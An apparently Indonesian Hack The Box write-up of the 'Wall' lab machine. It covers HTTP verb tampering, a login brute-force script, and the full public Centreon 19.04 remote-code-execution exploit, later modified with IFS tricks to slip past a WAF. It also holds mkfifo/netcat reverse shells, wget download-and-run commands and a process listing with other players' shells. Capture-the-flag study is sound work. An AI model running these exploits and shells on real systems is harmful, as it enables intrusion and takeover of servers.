[HackTheBox] – Wall – PETIR CYBER SECURITY

Sebuah machine Hack The Box dengan ip 10.10.10.157, nampaknya akan didasarkan oleh eksploitasi CVE.

Mari kita lakukan nmap terhadap ip tersebut

nmap -sC -sV 10.10.10.157

1	nmap -sC -sV 10.10.10.157

Lakukan dirbuster dengan wordlist medium

Terdapat directory yang menarik bernama monitoring dengan error code 401, yang berarti memerlukan authentication. Mari kita coba buka

Kita menemukan page yang di proteksi oleh basic http authentication, penulis mencoba melakukan bruteforce dengan username admin. Namun setengah jalan bruteforcing, menemukan cara yang lebih menarik untuk dilakukan. Penulis melakukan verb tampering, memanipulasi verb based access control untuk mencoba mendapatkan akses tanpa harus melakukan authentikasi http.

Berhasil, kita bisa melihat hyperlink untuk redirection bisa dilihat di html pula, mari kita ikuti.

http://10.10.10.157/centreon

Sebuah login page Centreon, diberikan pula versi dari Centreon nya yaitu v 19.04.0

Penulis mencoba credentials basic seperti admin admin, admin password, root root, root toor, semuanya tidak berhasil. Penulis juga melakukan bruteforcing dengan menggunakan patator dengan username admin dan menggunakan wordlist rockyou namun gagal. Penulis kemudian mencari exploit yang mungkin bisa digunakan untuk melakukan bypass login page Centreon ini.

Centreon v19.04 Remote Code Execution (CVE-2019-13024)

Ternyata ada tetapi seperti judulnya, exploit tersebut merupakan exploit RCE, sebelum itu mari kita lihat terlebih dahulu script yang diberikan penemu CVE nya.

#!/usr/bin/python
 
'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''
 
import requests
import sys
import warnings
from bs4 import BeautifulSoup
 
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
 
if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()
 
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
 
 
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
 
login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")
 
    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))
 
    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,
 
 
    }
 
    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)
 
else:
    print("[-] Wrong credentials")
    exit()

100

101

#!/usr/bin/python

'''

# Exploit Title: Centreon v19.04 authenticated Remote Code Execution

# Date: 28/06/2019

# Exploit Author: Askar (@mohammadaskar2)

# CVE : CVE-2018-20434

# Vendor Homepage: https://www.centreon.com/

# Software link: https://download.centreon.com

# Version: v19.04

# Tested on: CentOS 7.6 / PHP 5.4.16

'''

import requests

import sys

import warnings

from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:

print(len(sys.argv))

print("[~] Usage : ./centreon-exploit.py url username password ip port")

exit()

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

request = requests.session()

print("[+] Retrieving CSRF token to submit the login form")

page = request.get(url+"/index.php")

html_content = page.text

soup = BeautifulSoup(html_content)

token = soup.findAll('input')[3].get("value")

login_info = {

"useralias": username,

"password": password,

"submitLogin": "Connect",

"centreon_token": token

}

login_request = request.post(url+"/index.php", login_info)

print("[+] Login token is : {0}".format(token))

if "Your credentials are incorrect." not in login_request.text:

print("[+] Logged In Sucssfully")

print("[+] Retrieving Poller token")

poller_configuration_page = url + "/main.get.php?p=60901"

get_poller_token = request.get(poller_configuration_page)

poller_html = get_poller_token.text

poller_soup = BeautifulSoup(poller_html)

poller_token = poller_soup.findAll('input')[24].get("value")

print("[+] Poller token is : {0}".format(poller_token))

payload_info = {

"name": "Central",

"ns_ip_address": "127.0.0.1",

# this value should be 1 always

"localhost[localhost]": "1",

"is_default[is_default]": "0",

"remote_id": "",

"ssh_port": "22",

"init_script": "centengine",

# this value contains the payload , you can change it as you want

"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),

"nagiostats_bin": "/usr/sbin/centenginestats",

"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",

"centreonbroker_cfg_path": "/etc/centreon-broker",

"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",

"centreonbroker_logs_path": "",

"centreonconnector_path": "/usr/lib64/centreon-connector",

"init_script_centreontrapd": "centreontrapd",

"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",

"ns_activate[ns_activate]": "1",

"submitC": "Save",

"id": "1",

"o": "c",

"centreon_token": poller_token,

}

send_payload = request.post(poller_configuration_page, payload_info)

print("[+] Injecting Done, triggering the payload")

print("[+] Check your netcat listener !")

generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"

xml_page_data = {

"poller": "1",

"debug": "true",

"generate": "true",

}

request.post(generate_xml_page, xml_page_data)

else:

print("[-] Wrong credentials")

exit()

Ternyata bruteforce yang kita lakukan dari tadi gagal karena kita tidak menyertakan CSRF token saat proses submit nya. Penulis berencana mendaur ulang code diatas untuk dijadikan scipt br

uteforcing login credentials. Penulis membuat script seperti berikut

#!/usr/bin/env python3

import requests
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

url = "http://10.10.10.157"
username = "admin"

loop = True
wordlist = "../../../Downloads/rockyou.txt"

with open(wordlist, encoding="latin-1") as password:
        password = password.readlines()

count = 0
for PASS in password:
	PASS = PASS.rstrip('\n')

	count+=1

	request = requests.session()
	page = request.get(url+"/centreon/index.php")
	html_content = page.text
	soup = BeautifulSoup(html_content)
	token = soup.findAll('input')[3].get("value")

	login_info = {
	    "useralias": username,
	    "password": PASS,
	    "submitLogin": "Connect",
	    "centreon_token": token
	}

	login_request = request.post(url+"/centreon/index.php", login_info)
	if "Your credentials are incorrect." not in login_request.text:
		print (PASS)

#!/usr/bin/env python3

import requests

import warnings

from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

url = "http://10.10.10.157"

username = "admin"

loop = True

wordlist = "../../../Downloads/rockyou.txt"

with open(wordlist, encoding="latin-1") as password:

password = password.readlines()

count = 0

for PASS in password:

PASS = PASS.rstrip('\n')

count+=1

request = requests.session()

page = request.get(url+"/centreon/index.php")

html_content = page.text

soup = BeautifulSoup(html_content)

token = soup.findAll('input')[3].get("value")

login_info = {

"useralias": username,

"password": PASS,

"submitLogin": "Connect",

"centreon_token": token

}

login_request = request.post(url+"/centreon/index.php", login_info)

if "Your credentials are incorrect." not in login_request.text:

print (PASS)

Kita mendapatkan credentialsnya !

Username : admin

Password : password1

Penulis kembali melihat blog CVE diatas

  isset($data["nagios_bin"]) && $data["nagios_bin"] != null
        ? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "',  "

1 2	isset($data["nagios_bin"]) && $data["nagios_bin"] != null ? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "', "

Filter data pada nagois_bin hanya dengan menggunakan htmlentities sehingga kita memungkinan melakukan RCE dan mendapatkan reverse shell. nagios_bin merupakan data yang diambil dari input yang ada di bawah kategori configuration, poller configuration, pada form yang bernama Monitoring Engine Binary, penulis pertama mencoba melakukan command seperti

Echo asdasdasd # untuk mengikuti contoh di pada blog CVE tersebut

Nampaknya kali ini aplikasi Centreon dilengkapi oleh WAF sehingga terdapat beberapa char yang di blacklist. Setelah percobaan beberapa kali, ternyata character yang di blacklist berupa (spasi) dan pagar. Sedangkan pada blog CVE dikatakan bahwa kita memerlukan pagar untuk comment out sisa dari syntax nya dan tanpa spasi akan sangat menyulitkan penulis untuk melakukan RCE.

Penulis sempat stuck untuk waktu yang lama karena mencoba banyak metode yang berujung kegagalan hehe. Setelah berapa lama penulis menemukan kata kunci untuk dicari di google yaitu Internal Field Separator atau (IFS). Kita bisa mengubah cara shell membaca syntax atau token yang tadinya dipisah oleh spasi menjadi character apapun yang kita inginkan sehingga command yang biasanya seperti

echo permenmilkita

dapat ditulis menjadi

IFS=.;haha=echo.permenmilkita;$IFS

Mari kita coba jalankan di script yang sudah kita modifikasi sesuai credentials yang sudah kita dapatkan tadi, poller ID, poller name, dan option lainnya. Kita akan memainkan paramter nagios_bin untuk melakukan RCE. Perlu diperhatikan bahwa script yang disediakan penemu CVE tidak dapat digunakan mentah mentah. Terlebih lagi saat pengerjaan box ini, penulis menemukan banyak orang iseng yang mengganti poller ID milik peserta lain sehingga mengacaukan progress yang sudah dikerjakan dan menimbulkan error yang tidak seharusnya terjadi.

#!/usr/bin/env python3
import requests
import sys
import warnings
from bs4 import BeautifulSoup
 
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
 
 
url = "http://10.10.10.157/centreon"
username = "admin"
password = "password1"
ip = "10.10.14.71"
port = "1234"
 
 
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
 
login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")
 
    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))
 
    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "IFS=.;haha=echo.permenmilkita;$haha",
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,
 
 
    }
 
    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    a= request.post(generate_xml_page, xml_page_data)
    print(a.text)
 
else:
    print("[-] Wrong credentials")
    exit()

#!/usr/bin/env python3

import requests

import sys

import warnings

from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

url = "http://10.10.10.157/centreon"

username = "admin"

password = "password1"

ip = "10.10.14.71"

port = "1234"

request = requests.session()

print("[+] Retrieving CSRF token to submit the login form")

page = request.get(url+"/index.php")

html_content = page.text

soup = BeautifulSoup(html_content)

token = soup.findAll('input')[3].get("value")

login_info = {

"useralias": username,

"password": password,

"submitLogin": "Connect",

"centreon_token": token

}

login_request = request.post(url+"/index.php", login_info)

print("[+] Login token is : {0}".format(token))

if "Your credentials are incorrect." not in login_request.text:

print("[+] Logged In Sucssfully")

print("[+] Retrieving Poller token")

poller_configuration_page = url + "/main.get.php?p=60901"

get_poller_token = request.get(poller_configuration_page)

poller_html = get_poller_token.text

poller_soup = BeautifulSoup(poller_html)

poller_token = poller_soup.findAll('input')[24].get("value")

print("[+] Poller token is : {0}".format(poller_token))

payload_info = {

"name": "Central",

"ns_ip_address": "127.0.0.1",

# this value should be 1 always

"localhost[localhost]": "1",

"is_default[is_default]": "0",

"remote_id": "",

"ssh_port": "22",

"init_script": "centengine",

# this value contains the payload , you can change it as you want

"nagios_bin": "IFS=.;haha=echo.permenmilkita;$haha",

"nagiostats_bin": "/usr/sbin/centenginestats",

"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",

"centreonbroker_cfg_path": "/etc/centreon-broker",

"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",

"centreonbroker_logs_path": "",

"centreonconnector_path": "/usr/lib64/centreon-connector",

"init_script_centreontrapd": "centreontrapd",

"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",

"ns_activate[ns_activate]": "1",

"submitC": "Save",

"id": "1",

"o": "c",

"centreon_token": poller_token,

}

send_payload = request.post(poller_configuration_page, payload_info)

print("[+] Injecting Done, triggering the payload")

print("[+] Check your netcat listener !")

generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"

xml_page_data = {

"poller": "1",

"debug": "true",

"generate": "true",

}

a= request.post(generate_xml_page, xml_page_data)

print(a.text)

else:

print("[-] Wrong credentials")

exit()

Ketika script dijalankan,

Kita berhasil melakukan echo namun terlihat ada parameter sisa yang seharusnya dibuang oleh tanda pagar tadi yang ikut ter echo yaitu -v, ini mungkin menyusahkan kedepannya.

Mari kita menyiapkan script bernama new untuk reverse shell pada port 1234

rm /tmp/s; mkfifo /tmp/s; cat /tmp/s | sh -i 2>&1 | nc 10.10.14.125 1234 > /tmp/s

1	rm /tmp/s; mkfifo /tmp/s; cat /tmp/s \| sh -i 2>&1 \| nc 10.10.14.125 1234 > /tmp/s

Membuka simplehttpserver menggunakan python pada port 8000

python -m SimpleHTTPServer 8000

Kita akan melakukan RCE di Centreon untuk menyuruhnya mendownload file reverse shell kita dan menjalankannya

"nagios_bin": "IFS=_;asd=wget_http://10.10.14.125:8000/new;$asd",

1	"nagios_bin": "IFS=_;asd=wget_http://10.10.14.125:8000/new;$asd",

IFS=_;asd=chmod_+x_new;$asd

1	IFS=_;asd=chmod_+x_new;$asd

IFS=_;asd=./new;$asd

1	IFS=_;asd=./new;$asd

Berhasil, kita mendapatkan shell. Mari kita ubah menjadi interactive shell terlebih dahulu

command uname -a akan menghasilkan

Linux Wall 4.15.0-54-generic #58-Ubuntu SMP Mon Jun 24 10:55:24 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Mari kita menggunakan sebuah script open source bernama LinEnum.sh untuk melakukan enumerasi otomatis terhadap box ini. LinEnum.sh berfungsi sebagai tools untuk kita menjalankan enumerasi secara lengkap di local linux tersebut dengan tujuan mencari task atau process yang dapat digunakan untuk melakukan privelege escalation.

Kita akan mengambilnya dari mesin lokal kita, jadi menggunakan step yang sama seperti diatas, namun bisa langsung dilakukan lebih mudah karena kita sudah memiliki interactive shell. Setelah result dari LinEnum sudah di save, penulis mengambil resultnya ke mesin lokal milik penulis untuk diteliti lebih lanjut, karena ditakutkan saat pengerjaan terjadi machine reset dan data LinEnum hilang, lagipula lebih mudah mengecek hasil LinEnum di mesin sendiri haha.

Kita akan mengecek hal hal yang paling obvious terlebih dahulu, seperti processes non generic yang berjalan, scheduled jobs, dan program dengan setuid. Saat pengerjaan penulis mengalami kesulitan karena di bagian processes banyak sekali shell yang di input oleh peserta lain dan terdaftar disana sehingga membuat penulis sempat kebingunan.
Berikut merupakan contoh process di result LinEnum namun saat pembuatan writeup

[00;33m### SERVICES #############################################[00m
[00;31m[-] Running processes:[00m
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.4 159544  8636 ?        Ss   15:55   0:02 /sbin/init splash
root          2  0.0  0.0      0     0 ?        S    15:55   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        I<   15:55   0:00 [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        I<   15:55   0:00 [mm_percpu_wq]
root          7  0.2  0.0      0     0 ?        S    15:55   0:06 [ksoftirqd/0]
root          8  0.0  0.0      0     0 ?        I    15:55   0:01 [rcu_sched]
root          9  0.0  0.0      0     0 ?        I    15:55   0:00 [rcu_bh]
root         10  0.0  0.0      0     0 ?        S    15:55   0:00 [migration/0]
root         11  0.0  0.0      0     0 ?        S    15:55   0:00 [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    15:55   0:00 [cpuhp/0]
root         13  0.0  0.0      0     0 ?        S    15:55   0:00 [kdevtmpfs]
root         14  0.0  0.0      0     0 ?        I<   15:55   0:00 [netns]
root         15  0.0  0.0      0     0 ?        S    15:55   0:00 [rcu_tasks_kthre]
root         16  0.0  0.0      0     0 ?        S    15:55   0:00 [kauditd]
root         17  0.0  0.0      0     0 ?        S    15:55   0:00 [khungtaskd]
root         18  0.0  0.0      0     0 ?        S    15:55   0:00 [oom_reaper]
root         19  0.0  0.0      0     0 ?        I<   15:55   0:00 [writeback]
root         20  0.0  0.0      0     0 ?        S    15:55   0:00 [kcompactd0]
root         21  0.0  0.0      0     0 ?        SN   15:55   0:00 [ksmd]
root         22  0.0  0.0      0     0 ?        SN   15:55   0:00 [khugepaged]
root         23  0.0  0.0      0     0 ?        I<   15:55   0:00 [crypto]
root         24  0.0  0.0      0     0 ?        I<   15:55   0:00 [kintegrityd]
root         25  0.0  0.0      0     0 ?        I<   15:55   0:00 [kblockd]
root         26  0.0  0.0      0     0 ?        I<   15:55   0:00 [ata_sff]
root         27  0.0  0.0      0     0 ?        I<   15:55   0:00 [md]
root         28  0.0  0.0      0     0 ?        I<   15:55   0:00 [edac-poller]
root         29  0.0  0.0      0     0 ?        I<   15:55   0:00 [devfreq_wq]
root         30  0.0  0.0      0     0 ?        I<   15:55   0:00 [watchdogd]
root         32  0.0  0.0      0     0 ?        I    15:55   0:01 [kworker/0:1]
root         34  0.0  0.0      0     0 ?        S    15:55   0:00 [kswapd0]
root         35  0.0  0.0      0     0 ?        I<   15:55   0:00 [kworker/u257:0]
root         36  0.0  0.0      0     0 ?        S    15:55   0:00 [ecryptfs-kthrea]
root         78  0.0  0.0      0     0 ?        I<   15:55   0:00 [kthrotld]
root         79  0.0  0.0      0     0 ?        I<   15:55   0:00 [acpi_thermal_pm]
root         80  0.0  0.0      0     0 ?        S    15:55   0:00 [scsi_eh_0]
root         81  0.0  0.0      0     0 ?        I<   15:55   0:00 [scsi_tmf_0]
root         82  0.0  0.0      0     0 ?        S    15:55   0:00 [scsi_eh_1]
root         83  0.0  0.0      0     0 ?        I<   15:55   0:00 [scsi_tmf_1]
root         86  0.0  0.0      0     0 ?        I    15:55   0:00 [kworker/0:2]
root         90  0.0  0.0      0     0 ?        I<   15:55   0:00 [ipv6_addrconf]
root         99  0.0  0.0      0     0 ?        I<   15:55   0:00 [kstrp]
root        116  0.0  0.0      0     0 ?        I<   15:55   0:00 [charger_manager]
root        199  0.0  0.0      0     0 ?        I<   15:55   0:00 [mpt_poll_0]
root        200  0.0  0.0      0     0 ?        I<   15:55   0:00 [mpt/0]
root        201  0.0  0.0      0     0 ?        I<   15:55   0:00 [kworker/0:1H]
root        202  0.0  0.0      0     0 ?        S    15:55   0:00 [scsi_eh_2]
root        203  0.0  0.0      0     0 ?        I<   15:55   0:00 [scsi_tmf_2]
root        224  0.0  0.0      0     0 ?        S    15:55   0:00 [jbd2/sda1-8]
root        225  0.0  0.0      0     0 ?        I<   15:55   0:00 [ext4-rsv-conver]
root        262  0.0  0.8  94920 17044 ?        S<s  15:55   0:00 /lib/systemd/systemd-journald
root        308  0.0  0.2  45540  4428 ?        Ss   15:55   0:00 /lib/systemd/systemd-udevd
root        353  0.0  0.0      0     0 ?        I<   15:55   0:00 [ttm_swap]
root        354  0.0  0.0      0     0 ?        S    15:55   0:00 [irq/16-vmwgfx]
systemd+    424  0.0  0.1 141924  3172 ?        Ssl  15:55   0:00 /lib/systemd/systemd-timesyncd
systemd+    428  0.0  0.2  70624  5116 ?        Ss   15:55   0:00 /lib/systemd/systemd-resolved
root        485  0.0  0.3 287540  6872 ?        Ssl  15:55   0:00 /usr/lib/accountsservice/accounts-daemon
syslog      491  0.0  0.2 267272  4896 ?        Ssl  15:55   0:00 /usr/sbin/rsyslogd -n
root        498  0.0  0.1  31320  3176 ?        Ss   15:55   0:00 /usr/sbin/cron -f
message+    504  0.0  0.2  50040  4332 ?        Ss   15:55   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root        506  0.0  0.8 170428 17128 ?        Ssl  15:55   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root        508  0.0  0.2  62136  5600 ?        Ss   15:55   0:00 /lib/systemd/systemd-logind
root        756  0.0  0.6 177088 12584 ?        Sl   15:55   0:01 /usr/sbin/vmtoolsd
root        800  0.0  0.5  67368 10820 ?        S    15:55   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root        866  0.0  2.5 526876 52112 ?        Ss   15:55   0:00 php-fpm: master process (/etc/php/7.1/fpm/php-fpm.conf)
root        867  0.0  1.7 515660 34756 ?        Ss   15:55   0:00 php-fpm: master process (/etc/php/7.3/fpm/php-fpm.conf)
root        872  0.0  1.0 187264 20416 ?        Ssl  15:55   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
Debian-+    888  0.0  0.5  65692 11592 ?        Ss   15:55   0:00 /usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
root        892  0.0  0.3  72296  6412 ?        Ss   15:55   0:00 /usr/sbin/sshd -D
root        932  0.0  0.0  16180  1868 tty1     Ss+  15:55   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
www-data    978  0.0  0.8 517960 16296 ?        S    15:55   0:00 php-fpm: pool www
www-data    979  0.0  0.8 517960 16300 ?        S    15:55   0:00 php-fpm: pool www
mysql       999  0.8  6.0 672468 121512 ?       Ssl  15:55   0:19 /usr/sbin/mysqld
root       1000  0.0  1.8 593676 36736 ?        Ss   15:55   0:01 /usr/sbin/apache2 -k start
www-data   1006  0.0  0.8 529140 18040 ?        S    15:55   0:00 php-fpm: pool www
www-data   1007  0.0  0.8 529140 18040 ?        S    15:55   0:00 php-fpm: pool www
centreon   1056  0.0  1.0  70356 20256 ?        S    15:55   0:00 /usr/bin/perl /usr/local/centreon/bin/centcore --logfile=/usr/local/centreon/log/centcore.log --severity=error --config=/etc/centreon/conf.pm
root       1899  0.0  0.0      0     0 ?        I    16:06   0:00 [kworker/u256:0]
www-data   1933  0.0  2.1 610256 42856 ?        S    16:07   0:00 /usr/sbin/apache2 -k start
www-data   2031  0.0  0.0   4628   860 ?        S    16:08   0:00 sh -c /tmp/nc${IFS}-c${IFS}bash${IFS}10.10.14.71${IFS}4433 -v /usr/local/centreon/filesGeneration/engine/2/centengine.DEBUG 2>&1
www-data   2032  0.0  0.0   4628   800 ?        S    16:08   0:00 sh -c bash
www-data   2037  0.0  0.1  18376  3116 ?        S    16:08   0:00 bash
www-data   2302  0.0  0.3  33224  7000 ?        S    16:09   0:00 python -c import pty; pty.spawn("/bin/sh")
www-data   2303  0.0  0.0   4628  1728 pts/0    Ss   16:09   0:00 /bin/sh
www-data   2583  0.0  2.1 609388 42724 ?        S    16:14   0:00 /usr/sbin/apache2 -k start
www-data   2588  0.0  0.0   4628   808 ?        S    16:14   0:00 sh -c wget${IFS}-qO-${IFS}http://10.10.15.157:8888/localPayload.txt${IFS}|${IFS}bash; -v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG 2>&1
www-data   2590  0.0  0.1  18376  3108 ?        S    16:14   0:00 bash
www-data   2598  0.0  0.0   4672   772 ?        S    16:14   0:00 cat /tmp/f
www-data   2599  0.0  0.1  18508  3256 ?        S    16:14   0:00 /bin/bash -i
www-data   2600  0.0  0.1  15716  2124 ?        S    16:14   0:00 nc 10.10.15.157 4444
www-data   2627  0.0  0.3  33220  7348 ?        S    16:15   0:00 python -c import pty;pty.spawn("/bin/bash")
www-data   2628  0.0  0.1  18508  3480 pts/2    Ss+  16:15   0:00 /bin/bash
www-data   2769  0.0  0.0    156     4 pts/0    S    16:17   0:00 ./asd
www-data   2792  0.0  0.0    156     4 pts/0    S    16:17   0:00 ./asd
www-data   2840  0.1  2.0 608584 42020 ?        S    16:18   0:01 /usr/sbin/apache2 -k start
www-data   2862  0.0  2.1 610252 42848 ?        S    16:18   0:00 /usr/sbin/apache2 -k start
www-data   2865  0.1  2.1 610256 42492 ?        S    16:18   0:01 /usr/sbin/apache2 -k start
www-data   2909  0.0  0.0   4628   772 pts/0    S    16:19   0:00 sh -c bash
www-data   2910  0.0  0.1  18376  3096 pts/0    S    16:19   0:00 bash
www-data   2928  0.0  0.0   4628   820 ?        S    16:19   0:00 sh -c IFS=_;comm=sh_new;$comm -v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG 2>&1
www-data   2929  0.0  0.0   4628   856 ?        S    16:19   0:00 sh new -v /usr/local/centreon/filesGeneration/engine/1/centengine.DEBUG
www-data   2932  0.0  0.0   4672   816 ?        S    16:19   0:00 cat /tmp/s
www-data   2933  0.0  0.0   4628   872 ?        S    16:19   0:00 sh -i
www-data   2934  0.0  0.1  15716  2156 ?        S    16:19   0:00 nc 10.10.15.246 1234
www-data   2994  0.1  0.0   1336  1248 pts/0    Sl   16:20   0:00 /tmp/QQxtR
root       3078  0.0  0.0      0     0 ?        I    16:21   0:00 [kworker/u256:1]
www-data   3162  0.0  0.3  33220  7120 ?        S    16:24   0:00 python -c import pty;pty.spawn("/bin/bash")
www-data   3163  0.0  0.1  18508  3480 pts/1    Ss   16:24   0:00 /bin/bash
www-data   3166  9.2  0.7 630596 14976 pts/0    Sl+  16:24   0:58 ./pspy64s
www-data   3200  0.1  1.8 603144 37368 ?        S    16:24   0:00 /usr/sbin/apache2 -k start
www-data   3250  0.0  1.6 596972 33236 ?        S    16:26   0:00 /usr/sbin/apache2 -k start
www-data   3252  0.0  0.3  33092  7280 pts/0    S    16:26   0:00 python -c import pty; pty.spawn("/bin/sh")
www-data   3253  0.0  0.0   4628   784 pts/3    Ss+  16:26   0:00 /bin/sh
www-data   5357  0.1  1.8 605704 38316 ?        S    16:28   0:00 /usr/sbin/apache2 -k start
www-data   5364  0.1  1.8 602244 36472 ?        S    16:28   0:00 /usr/sbin/apache2 -k start
www-data   5383  0.1  1.8 603412 38020 ?        S    16:28   0:00 /usr/sbin/apache2 -k start
www-data   5483  0.1  1.6 598604 34060 ?        S    16:29   0:00 /usr/sbin/apache2 -k start
www-data   5588  0.1  1.7 600196 35760 ?        S    16:30   0:00 /usr/sbin/apache2 -k start
root       5837  0.0  0.0      0     0 ?        I    16:30   0:00 [kworker/u256:2]
www-data   5866  0.1  1.8 602624 37036 ?        S    16:30   0:00 /usr/sbin/apache2 -k start
www-data   6011  0.2  1.9 606784 40024 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data   6015  0.1  1.8 602216 36748 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data   6016  0.1  1.7 602216 36040 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data   6020  0.2  1.7 600168 35740 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data   6021  0.1  1.7 600196 35956 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data   6061  0.1  1.7 600168 35740 ?        S    16:32   0:00 /usr/sbin/apache2 -k start
www-data   6064  0.1  1.7 600168 35736 ?        S    16:32   0:00 /usr/sbin/apache2 -k start
www-data   6067  0.1  1.7 600168 35740 ?        S    16:32   0:00 /usr/sbin/apache2 -k start
www-data   6082  0.1  1.9 605556 38628 ?        S    16:32   0:00 /usr/sbin/apache2 -k start
www-data   6093  0.1  1.7 600168 35596 ?        S    16:32   0:00 /usr/sbin/apache2 -k start
